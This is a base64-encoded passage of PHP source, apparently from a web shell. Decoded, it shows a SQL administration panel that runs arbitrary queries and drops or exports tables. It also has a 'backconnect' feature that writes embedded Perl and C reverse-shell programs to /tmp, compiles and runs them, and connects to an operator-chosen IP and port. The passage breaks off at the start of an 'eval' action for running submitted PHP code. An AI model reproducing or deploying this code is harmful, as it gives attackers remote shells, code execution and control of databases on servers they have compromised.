48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVyaWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7DQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCXAoJGRiZm9ybSk7DQoJCQlwKCc8L2Zvcm0+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSB8fCAoJHJ1bnF1ZXJ5ICYmICRzcWxfcXVlcnkpKSB7DQoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgew0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KCQkJCQkkcm93ZGIgPSBhcnJheSgpOw0KCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQlwKCc8dGQ+RmllbGQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCgkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ051bGwnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRXh0cmEnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJdGJmb290KCk7DQoJCQkJfSBlbHNlaWYgKCRkb2luZyA9PSAnaW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7DQoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOw0KCQkJCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJJHJzID0gYXJyYXkoKTsNCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCgkJCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIExJTUlUIDEiKTsNCgkJCQkJCSRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJCQl9DQoJCQkJCXAoJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRzZWxmLiciPicpOw0KCQkJCQlwKCRkYmZvcm0pOw0KCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7DQoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQlpZiAoJHJzWyRyb3dbJ0ZpZWxkJ11dKSB7DQoJCQkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQnXV0pOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkdmFsdWUgPSAnJzsNCgkJCQkJCX0NCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOw0KCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOw0KCQkJCQl9DQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsNCgkJCQkJCWlmICgkcXVlcnkpIHsNCgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJY2FzZSAwOg0KCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCWNhc2UgMToNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsNCgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7DQoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOw0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsNCgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOw0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7DQoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7DQoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7DQoJCQkJCQkJCQkJCWlmICgkaW5zaWRlKSB7DQoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7DQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNvZGUoJHdoZXJlKTsNCgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsNCgkJCQkJCQkJCQlwKCRiMSk7DQoJCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCQl1bnNldCgkYjEpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJdGJmb290KCk7DQoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCWNhc2UgMjoNCgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsNCgkJCQkJCQkJCXAoJzxoMj5hZmZlY3RlZCByb3dzIDogPGI+Jy4kYXIuJzwvYj48L2gyPicpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOw0KCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOw0KCQkJCSR0YWJsZWRiID0gYXJyYXkoKTsNCgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOw0KCQkJCQkkdGFibGVfcm93cyA9ICR0YWJsZV9yb3dzICsgJHRhYmxlWydSb3dzJ107DQoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOw0KCQkJCQkkdGFibGVfbnVtKys7DQoJCQkJCSR0YWJsZWRiW10gPSAkdGFibGU7DQoJCQkJfQ0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7DQoJCQkJdW5zZXQoJHRhYmxlKTsNCgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCXAoJGRiZm9ybSk7DQoJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7DQoJCQkJcCgnPHRkPk5hbWU8L3RkPicpOw0KCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsNCgkJCQlwKCc8dGQ+RGF0YV9sZW5ndGg8L3RkPicpOw0KCQkJCXAoJzx0ZD5DcmVhdGVfdGltZTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsNCgkJCQlpZiAoJGhpZ2h2ZXIpIHsNCgkJCQkJcCgnPHRkPkVuZ2luZTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOw0KCQkJCX0NCgkJCQlwKCc8L3RyPicpOw0KCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7DQoJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRGF0YV9sZW5ndGgnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoJCQkJCWlmICgkaGlnaHZlcikgew0KCQkJCQkJcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPC90cj4nKTsNCgkJCQl9DQoJCQkJcCgnPHRyIGNsYXNzPScuYmcoKS4nPicpOw0KCQkJCXAoJzx0ZD4mbmJzcDs8L3RkPicpOw0KCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Jy4kdGFibGVfcm93cy4nPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOw0KCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDQgOiAyKS4nIj4mbmJzcDs8L3RkPicpOw0KCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW1ha2VoaWRlKCdkb2luZycsJ2JhY2t1cG15c3FsJyk7DQoJCQkJZm9ybWZvb3QoKTsNCgkJCQlwKCI8L3RhYmxlPiIpOw0KCQkJCWZyKCRxdWVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmb290KCk7DQoJQG15c3FsX2Nsb3NlKCk7DQp9Ly9lbmQgc3FsIGJhY2t1cA0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnYmFja2Nvbm5lY3QnKSB7DQoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCgkkdXNlZGIgPSBhcnJheSgncGVybCc9PidwZXJsJywnYyc9PidjJyk7DQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCgkJImFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCgkJImtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkiLg0KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJIkJ0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaa093MEtJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ6YVc0N0RRb2dZMmhoY2lCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuDQoJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaVzRvWVhKbmRsc3lYU2twT3lBTkNpQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNnRFFvZ2FXWWdLQ2hqYjI1dVpXTjBLR1prTEMiLg0KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuDQoJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJIk93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2dMV2tpTENCT1ZVeE1LVHNOQ2lCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoJCWlmICgkdXNlID09ICdwZXJsJykgew0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9IGVsc2Ugew0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCgkJCUB1bmxpbmsoJy90bXAvYW5nZWxfYmMuYycpOw0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KCQl9DQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsNCgl9DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1lvdXIgSVA6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoJcCgnWW91ciBQb3J0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsNCglwKCdVc2U6Jyk7DQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCn0vL2VuZCBzcWwgYmFja3VwDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZXZhbCcpIHsNCgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOw0KCWlmKCRwaHBjb2RlKXsNCgkJaWYgKCFwcmVnX21hdGNoKCcjPFw/I3NpJywgJHBocGNvZGUpKS